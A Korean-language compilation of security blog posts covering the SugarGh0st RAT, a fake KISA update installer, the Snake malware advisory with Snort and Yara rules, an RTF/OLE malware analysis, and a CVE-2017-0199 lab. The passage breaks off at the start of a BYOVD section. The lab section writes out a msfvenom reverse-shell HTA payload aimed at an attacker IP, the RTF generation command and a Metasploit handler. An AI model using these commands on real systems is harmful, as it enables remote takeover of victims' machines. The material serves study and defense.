1. 개요

- CISCO Talos에서 대한민국 사용자를 대상으로한 중국 배후 RAT "SugarGh0st RAT" 발견 [1]

> Gh0st RAT의 변종으로, C2 서버와 통신하며 명령을 수행

> 대한민국 사용자외에도 우즈베키스탄 외교부를 대상으로 공격 수행

 

1.1 Gh0st RAT [2]

- 红狼小组(C.Rufus Security Team)이라는 중국 그룹에 의해 개발

- 2008년 소스코드가 공개되어 여러 변종이 등장

 

2. SugarGh0st RAT

- 기존 Gh0st RAT과 차이점

① 정교한 표적 공격

② 특정 ODBC(Open Database Connectivity) 레지스트리 키를 찾음
③ 특정 파일 확장자와 함수 이름을 가진 라이브러리 파일을 로드
④ 원격 관리 작업을 용이하게 하기위한 C2 통신 프로토콜 변경 등

 

- 하드 코딩된 C2 도메인을 사용하며, 대상자에 뮤텍스를 생성하고 키로깅을 시작

> 키로깅은 %Program Files% 위치에 "WinRAR'' 폴더 생성 및 키로거 파일 "WinLog.txt" 생성

> WSAStartup() 함수를 이용해 하드코딩된 C2&Port로 연결을 설정

> 실행 후 10초마다 C2에 대한 연결 설정을 시도하며, 첫 패킷은 항상 "0x000011A40100"

> 컴퓨터 이름, OS 버전, 루트 및 기타 드라이브 정보, 특정 레지스트리 값 등을 전송

> 4바이트 16진수 명령 및 관련 데이터를 사용하여 C2 서버의 명령에 따라 원격 제어 기능을 수행

순번 명령 설명
1 0x20000001 프로세스 권한을 "SeShutdownPrivilege"로 조정하고 호스트 강제 종료
2 0x20000002 프로세스 권한을 "SeShutdownPrivilege"로 조정하고 호스트 강제 재부팅
3 0x20000003 프로세스 권한을 "SeShutdownPrivilege"로 조정하고 프로세스 강제 종료
4 0x20000004 이벤트 로그 지우기
5 0x20000005 레지스터 키 HKEY_LOCAL_MACHINE\Software\ODBC\H 생성
6 0x20000011 기본 창에서 키 누르기
7 0x20000012 기본 창에서 키 놓기
8 0x20000013 마우스 커서 위치 설정
9 0x20000014 마우스 왼쪽 버튼 클릭
10 0x20000015 마우스 왼쪽 버튼 놓기
11 0x20000016 마우스 왼쪽 버튼을 더블클릭
12 0x20000017 마우스 오른쪽 버튼 클릭
13 0x20000018 마우스 오른쪽 버튼 놓기
14 0x20000019 마우스 왼쪽 버튼을 더블클릭
15 0x21000002 피해자 컴퓨터의 논리 드라이브 정보 전송
16 0x21000003 피해자 컴퓨터 파일 시스템에서 파일 검색
17 0x21000004 피해자의 컴퓨터 파일 시스템에서 파일 삭제
18 0x21000005 파일을 %TEMP% 위치로 이동
19 0x21000006 임의의 쉘 명령을 실행
20 0x21000007 피해자 컴퓨터에 파일을 복사
21 0x21000008 피해자 컴퓨터에서 파일 이동
22 0x21000009 C2 서버로 파일 전송
23 0x2100000A 데이터를 Windows 소켓으로 전송
24 0x2100000B C2 서버로부터 파일 수신
25 0x22000001 스크린샷을 C2 서버로 전송
26 0x24000001 %ProgramFiles%/WinRAR/~temp.dat 파일 읽기(XOR 0x62로 인코딩됨)
27 0x24000002 %ProgramFiles%/WinRAR/~temp.dat 파일 삭제
28 0x23000000 C2 서버에 대한 역방향 셸 액세스를 제공
29 0x25000000 프로세스 정보를 얻고 프로세스를 종료
30 0x25000001 프로세스 정보 열거
31 0x25000002 프로세스 종료
32 0x25000003 피해자 기계 서비스 관리자에 액세스 
33 0x25000004 실행 중인 서비스의 구성 파일에 액세스
34 0x25000005 서비스 시작
35 0x25000006 서비스 종료 및 삭제
36 0x25000010 Windows 작업을 수행
37 0x25000011 창 목록 가져오기
38 0x25000012 Window에서 메시지 받기
39 0x28000000 창을 캡처하고 SendMessage API를 사용한 명령을 기반으로 일련의 창 작업 수행
40 0x28000002 "%PROGRAMFILES%\\Common Files\\DESIGNER'' 아래에 OLE 파일을 만들고 실행

 

2.1 첫 번째 공격 체인 

[사진 1] 첫 번째 공격 체인

 

① 악성 LNK 파일이 포함된 RAR 파일

② LNK 파일 실행 시 내장된 JavaScript 실행

> 드로퍼의 시작 부분인 "var onm=" 문자열 검색 후 %temp%에 로드

> LoLBin(living-off-the-land Binaries)를 사용해 JavaScript 실행 [3]

 

[사진 2] LNK 파일 내 포함된 JavaScript

 

③ JavaScript는 미끼용 문서, 암호화된 SugarGh0st 페이로드, DLL 로더 및 배치 스크립트 생성

> 드로퍼로 동작하며, 포함된 파일을 디코딩하여 %TEMP% 경로에 생성

> 미끼용 문서 오픈, %TEMP%에서 배치 스크립트 로더 실행, DLL 로더 실행 순

> 동작 완료 후 자체적으로 삭제

 

④ 배치 스크립트와 DLL 로더를 실행해 암호화된 SugarGh0st 페이로드를 해독해 실행

> "ctfmon.bat"는 DLL 로더를 실행하는 명령이 포함

> "MSADOCG.DLL"은 %TEMP%에서 암호화된 SugarGh0st 페이로드 파일 "DPLAY.LIB'' 복호화 및 메모리에서 SugarGh0st 실행

 

2.2 두 번째 공격 체인 

[사진 3] 두 번째 공격 체인

 

- JavaScript는 쉘코드를 실행하기 위해 DynamicWrapperX를 사용하며, 이후 SugarGh0st RAT를 실행

> 이외 나머지 과정은 첫 번째 공격 체인과 동일

> DynamicWrapperX는 스크립트(JScript, VBScript 등)에서 Windows API 함수 호출을 활성화하는 ActiveX 구성 요소 [4]

> 지속성을 위해 Run 레지스트리 키에 "CTFMON.exe"라는 레지스트리 하위 키를 생성

구분 설명
JavaScript 지속성  레지스트리 키 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
하위 키 CTFMON.exe
“cmd /c start C:\Users\user\AppData\Local\Temp\dllhost.exe C:\Users\user\AppData\Local\Temp\~204158968.js”
DynamicWrapperX 레지스트리 키 Software\Classes\DynamicWrapperX
하위 키 CLSID
"89565275-A714-4a43-912E-978B935EDCCC" 

 

3. 침해지표 [5]

구분
URL account[.]drive-google-com[.]tk
login[.]drive-google-com[.]tk
IP 103.148.245.235
103.108.67.191
파일 Hash 8584094f79fce97321ee82ca5da41b6830ecc6a0921bcaddb8dd337827cd7d1a
3436135bb3839521e7712882f0f6548aff78db66a1064408c49f820a0b85d980
c758eed6660786097b63ac6748236b5b6084783703ea7ee2111e8f0bcaa3652e
6dff111b6adc9e33bed20eae99bec779f1c29dd55895a71125cfbe3c90950eb2
7c87451261dfce64fda987eb395694b5330fd958466c46c931440cd9dc227505
ddac61f918ed87b49ef15d05873e7f52b919758aef713145f6a7d538c714fa2e
f3ea4611c72d57eabf381d5639c3c8d1840cb005ed811f3038410fb2e04978c1
9d9a0af09fc9065bacabf1a193cad4386b5e8e5101639e07efa82992b723f3b0
5ad182c913f0b5cb6a34126137c335110d4c9472f5c745cb7a438d108b03b27c
38c815729f34aef6af531edf3f0c3f09635686dbe7e5db5cb97eca5b2b5b7712
adb4eb33213fa81c8b6cc013a6f4a43fa8b70eb8027433cf4339b532cb6e84cf
2e543adb701afd40affcb4c51bd8246398b0210bee641ca9aeffcca893c9e4a5
7cacdc84a0d690564c8471a4f58ab192ef7d9091ab0809933f616010bbf6846a
66982ebd5ebb75633723c7057a1e948ac3aafe3ff808397eb0c55c853c82f9e6
21f19d87d2169c82efd76ddb1baa024a1e59b93f82d28f276de853fc3ef8b20e
362fde3362e307af3787b9bf0b5c71f87b659a3217e054c4d0acea8b9e6d74b0
ee5982a71268c84a5c062095ce135780b8c2ffb1f266c2799173fb0f7bfdd33e
9783c0eee31ce6c5f795ecf387025af5d55208ff2713c470af2042721ab38606
410d7dc973d188cd0d962a59f48deb1cfc73adf37857765e90194f6e878d4488
bd0a1efe07fcb4af4bec1b2881a0711f0be34044680ad8cff958a68a70d4a914
ff0f28f96bbb6c80fc3823fe71d5e07e1a05b06986e82a2fbe324d68ba5ab2ea

 

 

4. 참고

[1] https://blog.talosintelligence.com/new-sugargh0st-rat/
[2] https://github.com/sin5678/gh0st
[3] https://socprime.com/blog/what-are-lolbins/
[4] https://dynwrapx.script-coding.com/dwx/pages/dynwrapx.php?lang=en
[5] https://github.com/Cisco-Talos/IOCs/blob/main/2023/11/new-sugargh0st-rat.txt
[6] https://www.dailysecu.com/news/articleView.html?idxno=151748

1. 개요

- 국가사이버안보센터는 최근 국가배후 해킹조직의 공격 정황을 확인했다고 발표

- 해당 조직은 KISA 보안 업데이트 등 정상 프로그램으로 위장하여 악성코드를 유포

> KISA 보안 업데이트 외 MS 업데이트, 소프트웨어 설치 파일 등으로 위장하여 유포될 가능성이 존재

 

2. 주요 내용 [2]

- 확인된 악성 파일은 ‘KISA-Security-Upgrade.exe’라는 이름으로 유포

> 이노 셋업(Inno Setup) 소프트웨어를 사용하여 제작

> 이노 셋업이란 JrSfoftware社에서 제작한 스크립트 기반의 윈도우용 설치 프로그램을 제작할 수 있는 도구

[사진 1] 위장 설치 프로그램

 

- 해당 파일 내부에 스크립트 파일 ‘install_script.iss’이 존재

> 스크립트 파일에 기록된 명령에 따라 시스템 파일 생성 및 프로그램 설치

[사진 2] install_script.iss 파일 정보

 

[사진 3] 악성코드 동작 과정

 

- 해당 파일을 실행하면 사용자 PC의 시작 프로그램에 자동으로 등록되어 PC를 시작할 때마다 자동 실행

> 감염 시스템 정보를 수집하여 C2 서버로 전송하며, 공격자의 명령에 따라 여러 명령을 수행할 수 있음

[사진 4] 레지스트리에 시작프로그램으로 등록

3. 대응방안

- 공식 홈페이지를 통해 설치 파일 다운로드 등 기본 보안 수칙 준수

> 다양한 파일로 위장하여 악성코드를 유포하기 때문

> 자동으로 다운로드되는 파일이나 파일 공유 사이트 등 출처가 불분명한 파일 다운로드 및 실행 지양

 

- 관련 프로그램 제거 (KISA-Security-Upgrade.exe 등)

> [제어판] - [프로그램] - [프로그램 및 기능]에서 파일 삭제

 

- 침해지표 등록 [2]

 

4. 참고

[1] https://jrsoftware.org/ishelp/
[2] https://asec.ahnlab.com/ko/54041/
[3] https://www.boannews.com/media/view.asp?idx=119058&page=1&kind=1

1. 개요

- 미국 CISA, NSA, FBI 등에서 러시아 연방 보안국(FSB)과 연관된 것으로 추정되는 Snake 악성코드 분석 보고서 발표

- Snake 악성코드는 50여 개 국가 정부 네트워크, 연구 시설 및 언론 등을 대상으로 민감 정보 탈취를 시도

 

Hunting Russian Intelligence “Snake” Malware | CISA

SUMMARY The Snake implant is considered the most sophisticated cyber espionage tool designed and used by Center 16 of Russia’s Federal Security Service (FSB) for long-term intelligence collection on sensitive targets. To conduct operations using this too

www.cisa.gov

 

2. 주요내용

① 러시아 배후 해킹 그룹 Turla는 피싱메일과 무차별 대입 공격을 통해 자격 증명 정보 획득 및 관리자 권한 획득 시도

- 초기 액세스 권한 획득 후 Snake 악성코드 배포

> jpsetup.exe(이미지 뷰어 설치 프로그램)을 통해 Snake 악성코드 배포

> 정상적인 경로(%windows%\WinSxS\)에 WerFault.exe 등록하여 지속성 유지

WinSxS (Windows Side By Side)
- Windows OS의 "DLL Hell" 문제를 해결하기 위해 만들어짐
※ DLL Hell: DLL을 관리할 때 발생할 수 있는 모든 문제를 의미
> Windows OS는 프로그램 사용 시 DLL파일을 사용
> 업데이트 등으로 DLL이 변경되는 경우 DLL 관련 문제가 발생할 수 있음
※ DLL 버전 충돌 문제, 프로그램이 의존하는 DLL 파일을 찾을 때의 어려움, 불필요한 DLL 파일 복사본이 만들어지는 문제 등
> 이러한 문제를 해결하기 위한 목적으로 등장

- 윈도우 업데이트 시 시스템, 드라이버가 변경되는 폴더, 파일들을 WinSxS 폴더에 백업
> 프로그램 실행 시 해당 디렉터리에서 DLL에 관한 정보를 불러옴
> 이를 통해 의존성 문제를 줄일 수 있음

 

② 관리자 권한 획득 후 도메인 컨트롤러에 액세스

- 조직의 전체 네트워크에 대한 정보 수집 목적

> 키로거, 네트워크 스니퍼, 오픈 소스 등의 도구를 사용

 

③ 여러 노드를 경유하여 내부 정보 유출

- 여러 프로토콜을 이용한 통신(TCP, UDP, HTTP, SMTP, DNS 등)과 암호화를 사용해 탐지 우회

 

3. 탐지규칙

3.1 Snort

- 권고된 탐지 규칙을 적용하기 전 운영 환경을 고려하여 적용여부 검토

alert http any any -> any any (msg: "http rule (Cookie)";pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/C";flow: established, to_server;sid: 7; rev: 1;)

alert http any any -> any any (msg: "http rule (Other Header)";pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/H";flow: established, to_server;sid: 8; rev: 1;)

alert http any any -> any any (msg: "http2 rule (Cookie)";pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/C";flow: established, to_server;sid: 9; rev: 1;)

alert http any any -> any any (msg: "http2 rule (Other Header)";pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/H";flow: established, to_server;sid: 10; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 08|"; startswith; dsize: 12;flow: established, to_server; flowbits: set, a8; flowbits: noalert;sid: 1; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 04|"; startswith; dsize:8;flow: established, to_server; flowbits: isset, a8; flowbits: unset, a8;flowbits: set, a4; flowbits: noalert;sid: 2; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 08|"; startswith; dsize: 4;flow: established, to_client; flowbits: isset, a4; flowbits: unset, a4;flowbits: set, b81; flowbits: noalert;sid: 3; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";dsize: 8; flow: established, to_client; flowbits: isset, b81;flowbits: unset, b81; flowbits: set, b8; flowbits: noalert;sid: 4; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 04|"; startswith; dsize: 4;flow: established, to_client; flowbits: isset, b8; flowbits: unset, b8;flowbits: set, b41; flowbits: noalert;sid: 5; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";dsize: 4; flow: established, to_client; flowbits: isset, b41;flowbits: unset, b41;sid: 6; rev: 1;)

 

3.2 Yara

- Snake Queue File 탐지

rule HighEntropy
{
    meta:
        description = "entropy rule"

    condition:
        math.entropy(0, filesize) >= 7.0
}

 

- Snake Werfault.exe 탐지

rule PeIconSizes
{
    meta:
        description = "werfault rule"

    condition:
        pe.is_pe 
        and 
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 3240)
        and
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 1384)
        and
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 7336)
}

 

4. 기타 대응 방안

- 암호 변경: 기본 암호 사용, 암호 유출 가능성 등을 고려하여 전사 차원의 암호 변경

- 최소권한부여: 관리자 권한 획득을 어렵게 하기 위함

- MFA 적용: 계정에 엑세스하지 못하도록 하기 위함

1. 분석 도구

1.1 Virus Total [1]

- 무료로 파일 검사를 제공하는 웹사이트로, 파일, URL 내의 바이러스를 검사해주는 사이트 (IP 조회도 가능)

 

1.2 HxD [2]

- 파일에 저장된 HEX(16진수) 값을 읽고 수정하는데 이용

 

1.3 rtfdump.py [3][4]

- Github에서 다운받을 수 있는 파이썬으로 작성된 RTF 파일을 분석하는데 사용되는 Open Source

 

1.4 oledump.py [8]

- OLE 파일을 분석하는 프로그램

 

2. 분석

 Virus Total 조회

- 실습에서 진행한 RTF 파일을 Virus Total에서 조회한 결과는 다음과 같음

> 58개의 벤더사 중 39개의 벤더사가 악성 파일로 탐지

> 탐지명을 확인해보면 CVE-2017-0199와 관련된 것임을 알 수 있음

[사진 1] Virus Total 조회 결과

 

② 파일 속성 및 HxD 조회

- 파일 속성과 HxD 확인 결과 해당 파일이 RTF 파일임을 확인

> RTF 파일은 파일 시그니처7B 5C 72 74 66 31 ({rtf1)를 가짐 [5]

[사진 2] 파일 속성 및 HxD 확인 결과

 

③ rtfdump.py 파일 덤프

- 먼저 -m 옵션을 사용해 rtfdump.py의 사용법에 대해 확인

[사진 3] rtfdump.py -m 결과

 

- yeahhub.rtf 파일 덤프 결과 문서에 포함된 객체들이 조회됨

> [사진 5]를 통해 RTF 문서에서 원격 객체와 연결을 하기위해 "objautlink"를 사용하며, 그 중 "objdata"에 OLE 객체를 포함하고 있는것을 확인 [6]

> objautlink ⊃ objdata ⊃ OLE 객체로 정리함

※ [사진 4]에서 첫 번째 열의 숫자는 rtfdump에서 파생된 출력 값으로 파일의 일부가 아님

[사진 4] objdata

 

[사진 5] RTF 내 objdata 객체

 

- 분석 후 추가 구글링 결과 rtfdump.py의 경우 아래 명령으로 문서에 포함된 OLE 객체를 찾을 수 있다고 확인됨

rtfdump.py -f O 파일명

 

- [사진 4]에서 확인된 objdata의 값을 -s 옵션으로 확인한 결과 "01050000 02000000"이 확인

> "01050000 02000000"는 각각 01050000 OLE 버전 정보, 02000000 임베디드 객체를 뜻함 [7]

> -H 명령을 추가해 확인하면 더욱 명확히 OLE 객체임을 알 수 있음

[사진 6] -s 10 명령 결과

 

[사진 7] -H 추가 결과

 

④ oledump.py

- [사진 7]의 결과에서 두 가지 옵션 추가 및 "|"를 사용해 oledump.py의 입력으로 전달

> -E: 포함된 객체 덤프

> -d: 출력된 내용 덤프

[사진 8]에서 첫 번째 열의 숫자는 oledump에서 파생된 출력 값으로 파일의 일부가 아님

[사진 8] 덤프 파일 출력

 

- -s 옵션으로 각각의 스트림을 확인한 결과 첫 번째 스트림에서 악성 URL 확인

[사진 9] 문자 스트림 출력

 

- [사진 9]에서 확인된 악성 URL로 HTA 파일을 요청하고, HTA 파일에 포함된 리버스쉘 생성 명령이 실행

[사진 10] 패킷 일부

 

3. 참고

[1] https://www.virustotal.com/gui/home/upload
[2] https://mh-nexus.de/en/hxd/
[3] https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py
[4] https://blog.didierstevens.com/2016/07/29/releasing-rtfdump-py/
[5] http://forensic-proof.com/archives/300
[6] https://www.mcafee.com/blogs/other-blogs/mcafee-labs/an-inside-look-into-microsoft-rich-text-format-and-ole-exploits/
[7] https://github.com/houjingyi233/office-exploit-case-study/blob/master/CVE-2017-11882%26CVE-2018-0802%26CVE-2018-0798/cve-2018-0802%20poc%20with%20comments.rtf
[8] https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py

1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-0199

- MS Zero-day 공격으로, OLE2link 오브젝트를 포함한 워드파일을 열기만 하면 임의의 코드가 실행되는 취약점

영향받는 버전: Microsoft Word 모든 버전

 

2. 실습

2.1 환경

- 공격자 환경

[사진 2] 공격자 환경

 

- 피해자환경

[사진 3] 피해자 환경

2.2 실습

① PoC를 위한 파일은 Github에 올라온 오픈 소스를 사용 [2]

git clone https://github.com/bhdresh/CVE-2017-0199

 

② msfvenom을 사용해 리버스쉘을 생성하는 HTA 파일을 생성

msfvenom [3][4]
- 메타스플로잇 프레임워크에 포함되어 있는 페이로드 생성 도구로 칼리에 내장되어 있음
- 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합

 

- 해당 툴을 처음 사용해서 -h 옵션으로 사용법을 확인

> 실행 결과 중 Example 부분을 차용해 HTA 파일을 생성하면 될 것으로 판단

[사진 4] msfvenom 옵션

 

- [사진 2]에서 Example과 Options을 확인해보면 아래와 같은 페이로드를 완성할 수 있음

> -p windows/meterpreter/reverse_tcp: 리버스쉘을 생성하는 페이로드 사용

> LHOST=<공격자 IP>: 리버스쉘 생성시 접속할 공격자의 IP

> LPORT=<공격자 Port>: 리버스쉘 생성시 접속할 공격자의 Port

> -f <파일 포맷>: 파일 포맷 지정 (msfvenom --list format으로 사용가능한 포맷 확인 가능)

> -o <결과 파일명>: 앞서 설정한 옵션으로 생성할 결과 파일명

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f hta-psh -o report.hta

[사진 5] HTA 파일 생성

 

③ RTF 파일 생성

- ②에서 생성한 HTA 파일과 PoC 파일을 통해 RTF 파일을 생성

> -M gen: 악성 페이로드 생성

> -t RTF: 파일 유형으로 RTF 지정

> -w yeahhub.rtf: 공격에 사용할 RTF 파일명 지정

> -u hxxp://192.168.56.102:8000/report.hta: HTA 위치 지정

python cve-2017-0199_toolkit.py -M gen -t RTF -w yeahhub.rtf -u http://192.168.56.102:8000/report.hta

[사진 6] RTF 파일 생성

 

④ 웹 서버 구동

- 피해자가 악성 RTF 문서를 실행했을 때, 스크립트 형태의 악성코드를 전송해야 하므로 서버를 설정하는 것으로 판단됨.

> 아래 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용

> RTF 파일을 생성한 디렉터리에서 HTTP를 실행해야 한다고 함

python -m SimpleHTTPServer

[사진 7] 서버 실행

 

⑤ msfconsole을 이용한 멀티핸들러 설정

- 이부분에서 multi/handler에 대한 이해가 되지않아 구글링 결과를 정리하면 다음과 같음

⒜ 피해자가 파일을 실행한 후 공격자가 제어하는 호스트로 접속이 되어야 공격자의 추가 공격 가능

> 피해자가 RTF 파일을 실행해 공격자 서버에 접근해 HTA 파일을 다운받아 스크립트를 실행해 리버스쉘 생성

⒝ 이때, 들어오는 접속을 multi/handler로 받아 메타스플로잇 세션을 열어줌

> multi/handler로 해당 세션을 메타스플로잇으로 넘겨줘 공격자가 추가 악성 행위 수행

# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run

[사진 8] 메타스플로잇 실행

 

⑥ 피해시스템에서 파일 실행

[사진 9] 파일 실행

 

- [사진 8]에서 차단 해제를 클릭한 후 발생하는 알림창에서 예를 클릭

> ActiveX 실행 관련 알람 발생 후 문서가 실행됨

[사진 10] 차단 해제

 

⑦ 피해자 > 공격자 리버스쉘 생성

- 피해자 > 공격자 리버스쉘이 생성된 것을 확인할 수 있음

> 공격자:8000으로 접속하여 HTA 파일을 다운받음

> 피해 시스템에서 HTA 파일이 실행되 리버스쉘 생성

> multi/handler에 의해 메타스플로잇으로 해당 세션이 넘어가 추가 악성행위 가능

[사진 11] 리버스쉘 생성

 

[사진 12] 패킷 일부

 

- 위 과정을 요약하면 다음과 같음

[사진 13] 과정 요약

3. 대응방안

① 최신 보안 패치 적용

- 해당 취약점은 2017.04 MS에서 패치한 취약점

 

② 매크로 기능 비활성화

- 해당 취약점에서는 RTF 파일 실행 후 매크로 사용 시 악성코드에 감염

> 해당 취약점 외 공격자들이 악성코드 등을 유포하는데 매크로 기능을 주로 사용

 

③ 보안 장비에 탐지 규칙 적용 [5]

<예시>
rule rtf_objdata_urlmoniker_http {
 strings:
 $header = &quot;{\\rtf1&quot;
 $objdata = &quot;objdata 0105000002000000&quot; nocase
 $urlmoniker = &quot;E0C9EA79F9BACE118C8200AA004BA90B&quot; nocase
 $http = &quot;68007400740070003a002f002f00&quot; nocase
 condition:
 $header at 0 and $objdata and $urlmoniker and $http
 }

 

④ 불필요 또는 악성코드 유포 등에 사용된 확장자를 메일 보안 솔루션에서 필터링

> 확장자 차단에 따른 영향도 검토 필요

 

⑤ 출처가 불분명한 첨부파일 실행 주의/금지 등 기본적인 보안 방안 준수

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2017-0199
[2] https://github.com/bhdresh/CVE-2017-0199
[3] https://scytalezz.tistory.com/134
[4] https://dazemonkey.tistory.com/142
[5] https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
[6] https://securityaffairs.co/58077/breaking-news/cve-2017-0199-exploitation-poc.html
[7] https://www.boannews.com/media/view.asp?idx=117413&page=1&kind=1 

1. 개요

- 북한 해킹 조직 킴수키(Kimsuky)에서 과거 활용했던 취약점

- 과거 북한은 해당 취약점을 이용해 2014.12.09 한수원 사태를 일으킴

- 해당 취약점은 발견 당시 Zero-Day 취약점이었으며, 2017.04 MS에서 패치를 진행

- 러시아에서 사이버무기로 활용하던 제로데이 취약점으로, 취약점이 공개되자 북한이 활용한 것으로 판단

※ 보안뉴스 "세계적인 관심 받고 있는 북한의 APT 단체 킴수키, 어떻게 막아야 하나" 취약점이 포함되어 있어 정리

 

2. 관련 지식

2.1 OLE

- 객체 연결 삽입(Object Linking and Embedding, OLE)의 준말

- MS에서 개발하였으며, 문서와 기타 객체에 연결과 삽입을 도와주는 연결규약

- 다른 응용프로그램에서 작성된 문자나 그림, mp3 등의 개체를 현재 작성 중인 문서에 자유롭게 연결하거나 삽입하여 편집할 수 있게 하는 기능

버전 설명
OLE 1.0 - 1990년에 출시
- MS가 초기 버전의 윈도우 OS용으로 만든 동적 데이터 교환(Dynamic Data Exchange, DDE)를 확장한 것
OLE 2.0 - 자동화, 드래그 앤 드롭 등의 기능이 추가

 

- 해당 취약점에서는 OLE2 link object를 악용

> OLE2 기술을 사용하여 생성된 객체를 다른 문서나 응용 프로그램과 연결하는 객체

> 원본 객체의 데이터와 OLE2 기술을 사용하여 생성된 링크 정보를 포함하며, 링크 정보를 사용하여 원본 객체를 참조

 

2.2 RTF 파일

- 서식있는 텍스트 파일 (Rich Text Format, RTF)

- MS가 1987년 개발 및 표준화한 파일 포맷으로 확장자로 ".RTF"를 가짐

- Microsoft Word, LibreOffice, OpenOffice 등 다양한 소프트웨어에서 지원

- 텍스트만 저장하는 일반 텍스트 파일과 달리 글꼴 스타일, 서식, 이미지 등에 대한 정보도 저장되어 서식 유지 가능

> ASCII 텍스트로 작성되어 있으며, 문서에 포함된 서식(글꼴, 색상, 크기, 스타일 등)을 나타내는 태그가 포함

> 서식 태그는 RTF 리더기나 편집기에서 해석되어 문서의 서식이 적용

 

2.3 URL Moniker

- URL Moniker는 COM 개체의 구성요소로, 인터넷에서 리소스를 찾아내 참조하기 위한 기술

- URL을 사용하여 웹 페이지, 이미지, 비디오, 오디오 등의 인터넷 리소스를 찾아내고, 해당 리소스를 다른 응용 프로그램과 공유할 수 있도록 해줌

COM(Component Object Model) 개체
- Microsoft에서 개발한 소프트웨어 컴포넌트 모델
- 프로그래밍 언어나 기술에 관계없이 서로 다른 소프트웨어 컴포넌트들이 상호작용할 수 있도록 해주는 일종의 인터페이스 규격
- COM 개체는 다른 소프트웨어 컴포넌트와 통신하기 위한 메서드와 속성을 제공하며, COM 라이브러리에 등록된 후 COM의 런타임 환경에서 실행

 

2.4 HTA 파일

- HTML Application의 약자이며, 확장자로 ".HTA"를 가짐

- 소스 코드가 HTML , 동적 HTML, VBScript, JScript 와 같이 Internet Explorer에서 지원하는 하나 이상의 스크립팅 언어로 구성된 Microsoft Windows 프로그램

- 인터넷 브라우저 보안 모델의 제약 없이 실행되며,  "완전히 신뢰할 수 있는" 응용 프로그램으로 실행됨

> 실행 시 실행 경고창이 생성되지 않음

> 신뢰할 수 없는 프로그램을 실행할 수 있고, Powershell을 이용하여 로컬 파일 목록을 획득하거나 랜섬웨어 공격 등에 악용되기도 함

 

2.4.1 HTML과 HTA 비교

- 아래 계산기를 실행하는 코드를 HTML과 HTA 파일로 만들어 실행해 결과를 비교

> HTML 실행 시 Activex 함수 실행 관련 경고창이 발생할 것으로 예상

> HTA 실행 시 아무런 경고창 없이 실행될 것으로 예상

<html>
<head>
<script language="javascript">
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>

 

 

- 예상과 달리 HTML과 HTA 파일 모두 첨부파일 실행 시 경고창이 발생하지 않음

> 엣지, 크롬으로 HTML을 실행해 보았으나, 경고창이 발생하지 않음

> 인터넷 익스플로러에서 HTML를 실행하면 ActivexObject 컨텐츠와 상호작용을 허용이 필요하다는 정보를 찾음

>  하지만, IE에서도 HTML 실행에 대한 경고가 발생하지 않았으며, 이유에 대해서는 아직 잘 모르겠음

 

 

- 두 파일의 아이콘과 실행 결과 모두 차이를 보임

> HTML 실행 결과 Activex 함수가 실행되지 않아 계산기 실행이 되지않음

> HTA 실행 결과 Activex 함수가 실행되어 계산기가 실행

[사진 1] HTML(좌), HTA(우) 아이콘 및 실행결과 비교

 

3. 공격방식

① 공격자가 OLE2 link object를 포함한 MS Word 문서를 사용자에게 피싱 메일 등으로 전송

② 사용자가 해당 문서를 열람할 경우 URL Moniker에 의해 공격자가 지정한 서버(공격자가 제어 가능한 서버)에 접근

③ 공격자의 서버에서 HTA 파일 형태로 스크립트가 사용자에게 전송

④ HTA 파일 특성 상 경고창 없이 실행되며, HTA 내부에 포함된 Powershell 명령이 실행되어 악성파일 요청

⑤ 요청한 악성파일을 전송 및 실행하여 악성행위 수행

1. BYOD (Bring Your Own Device)

- 개인 소유의 스마트기기 또는 모바일 장비를 이용해 회사 데이터베이스와 애플리케이션 등에 액세스해서 업무를 처리하는 것을 의미

- 기업은 하드웨어 교체 비용, 소프트웨어 라이선스 구입 및 유지 비용 등을 절감 가능

- 장소나 시간에 관계 없이 개인 기기에서 자유롭게 업무 문서를 열람 가능하여 생산성과 업무 속도 개선

 

2. BYOVD (Bring Your Own Vulerable Device)

- BYOD (Bring Your Own Device)에서 파생된 단어로, 취약점이 존재하는 드라이버를 포함하고 있는 프로그램을 악용

> 최신 윈도우 운영체제에서는 더 이상 서명되지 않은 드라이버 로드는 불가

> 그러나, 합법적으로 서명된 드라이버 모듈은 로드할 수 있음

> 이러 악용하여 취약한 공급업체의 드라이버 모듈로 커널 메모리를 조작

 

- 합법적인 서명을 포함하고 있어 윈도 운영체제에서 정상적으로 구동되지만 사실은 취약점이 있는 드라이버를 활용해 공격 대상의 시스템에 접근 권한을 얻는 방식의 공격 기법

- 즉, 개인의 기기에 설치된 특정 소프트웨어의 보안패치가 미적용된 환경을 이용하는 공격 유형

- 드라이버의 권한을 이용하므로 커널 메모리 영역에 읽고 쓰는 것이 가능해, 백신 및 PC 모니터링 시스템 등도 무력화 가능

 

2.1 북한 라자루스 그룹의 ene.sys 드라이버를 악용한 루트킷 배포 [1]

